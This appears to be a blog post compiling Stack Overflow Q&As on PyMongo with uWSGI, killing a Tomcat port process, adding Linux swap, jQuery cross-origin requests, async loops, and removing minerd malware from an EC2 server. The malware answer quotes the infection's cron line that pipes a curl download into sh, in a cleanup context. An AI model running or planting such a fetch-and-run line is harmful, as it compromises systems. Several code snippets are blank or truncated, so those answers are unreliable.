Stack over flow

I’m using:

  • Python 3.4.2
  • PyMongo 3.0.2
  • mongolab running mongod 2.6.9
  • uWSGI 2.0.10
  • CherryPy 3.7.0
  • nginx 1.6.2

uWSGI start params:

--socket --daemonize --enable-threads --threads 2 --processes 2

I setup my MongoClient ONE time:

self.mongo_client = MongoClient('mongodb://')
self.db = self.mongo_client['mydb']

I try and save a JSON dict to MongoDB:

result =

It works via a unit test that executes the same code path to mongodb. However when I execute via CherryPy and uWSGI using an HTTP POST, I get this:

pymongo.errors.ServerSelectionTimeoutError: No servers found yet

Why am I seeing this behavior when run via CherryPy and uWSGI? Is this perhaps the new thread model in PyMongo 3?


If I run without uWSGI and nginx by using the CherryPy built-in server, the insert_one() works.

Update 1/25 4:53pm EST:

After adding some debug in PyMongo, it appears that topology._update_servers() knows that the server_type = 2 for server ‘’. However server_description.known_servers() has the server_type = 0 for server ‘’

This leads to the following stack trace:

result =
File "/usr/local/lib/python3.4/site-packages/pymongo/", line 466, in insert_one
with self._socket_for_writes() as sock_info:
File "/usr/local/lib/python3.4/", line 59, in __enter__
return next(self.gen)
File "/usr/local/lib/python3.4/site-packages/pymongo/", line 663, in _get_socket
server = self._get_topology().select_server(selector)
File "/usr/local/lib/python3.4/site-packages/pymongo/", line 121, in select_server
File "/usr/local/lib/python3.4/site-packages/pymongo/", line 97, in select_servers
pymongo.errors.ServerSelectionTimeoutError: No servers found yet

We’re investigating this problem, tracked in PYTHON-961. You may be able to work around the issue by passing connect=False when creating instances of MongoClient. That defers background connection until the first database operation is attempted, avoiding what I suspect is a race condition between spin up of MongoClient’s monitor thread and multiprocess forking.






2. I tried to close the tomcat using ./ from tomcat /bin directory. But found that the server was not closed properly. And thus I was unable to restart
My tomcat is running on port 8080

I want to kill the tomcat process running on 8080. I first want to have the list of processes running on a specific port (8080) in order to select which process to kill.



This fuser 8080/tcp will print you PID of process bound on that port.

And this fuser -k 8080/tcp will kill that process.

Works on Linux only. More universal is use of lsof -i4 (or 6 for IPv6).



3.My Node.js script crashes because of a thrown ENOMEM (Out of memory) errnoException when using spawn.



I had the same problem and as it turned out, my system had no swap space enabled. Check if this is the case by running the command free -m:

vagrant@vagrant-ubuntu-trusty-64:~$ free -m
             total       used       free     shared    buffers     cached
Mem:          2002        233       1769          0         24         91
-/+ buffers/cache:        116       1885
Swap:            0          0          0

Looking at the bottom row we can see we have a total of 0 bytes swap memory. Not good. Node can get pretty memory hungry and if no swap space is available when memory runs out, errors are bound to happen.

The method for adding a swap file varies between operating systems and distributions, but if you’re running Ubuntu like me you can follow these instructions on adding a swap file:

  1. sudo fallocate -l 4G /swapfile Create a 4 gigabyte swapfile
  2. sudo chmod 600 /swapfile Secure the swapfile by restricting access to root
  3. sudo mkswap /swapfile Mark the file as a swap space
  4. sudo swapon /swapfile Enable the swap

Source url:




jQuery $.ajax(), $.post sending “OPTIONS” as REQUEST_METHOD in Firefox

Having trouble with what I thought was a relatively simple jQuery plugin…

The plugin should fetch data from a php script via ajax to add options to a <select>. The ajax request is pretty generic:

  url: o.url,
  type: 'post',
  contentType: "application/x-www-form-urlencoded",
  data: '{"method":"getStates", "program":"EXPLORE"}',
  success: function (data, status) {
  error: function (xhr, desc, err) {
    console.log("Desc: " + desc + "\nErr:" + err);

This seems to work fine in Safari. In Firefox 3.5, the REQUEST_TYPE on the server is always ‘OPTIONS’, and the $_POST data does not appear. Apache logs the request as type ‘OPTIONS’:

::1 - - [08/Jul/2009:11:43:27 -0500] "OPTIONS sitecodes.php HTTP/1.1" 200 46

Why would this ajax call work in Safari, but not Firefox, and how do I fix it for Firefox?



The reason for the error is the same origin policy. It only allows you to do XMLHTTPRequests to your own domain. See if you can use a JSONP callback instead:

$.getJSON( 'http://<url>/api.php?callback=?', function ( data ) { alert ( data ); } );
I had same problem with sending requests to google maps, and solution is quite simple with jQuery 1.5 - for dataType use dataType: "jsonp

Source :

I’ve a for-loop I’m looping through.

I want to make a custom modal and wait for a response before continue it.

How can I achieve this? I know I’ve to wait for a callback.

var list = ['one','two','three'];
var x = 0;
var loopArray = function(arr) {
        // set x to next item

        // any more items in array? continue loop
        if(x < arr.length) {

function customAlert(msg,callback) {
    // code to show your custom alert
    // in this case its just a console log

    // do callback when ready

// start 'loop'
Source url

 How can I kill minerd malware on an AWS EC2 instance?

I have an AWS EC2 instance running RHEL 7.2 which seems to have been hacked by a BitCoin CPU Miner. When I run ps -eo pcpu,args --sort=-%cpu | head, it shows that there is a CPU miner that’s taking up more than 90% of CPU utilization. ?

I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script –

  1. On monkeyoto‘s suggestion, I blocked all communication with the mining pool server – iptables -A INPUT -s -j DROP and iptables -A OUTPUT -d -j DROP.
  2. Removed the cron */15 * * * * curl -fsSL | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
  3. Removed the directory /opt/yam.
  4. Removed /root/.ssh/KHK75NEOiq.
  5. Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
  6. Stopped the minerd process – pkill minerd.
  7. Stopped ladyservice lady stop.

I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s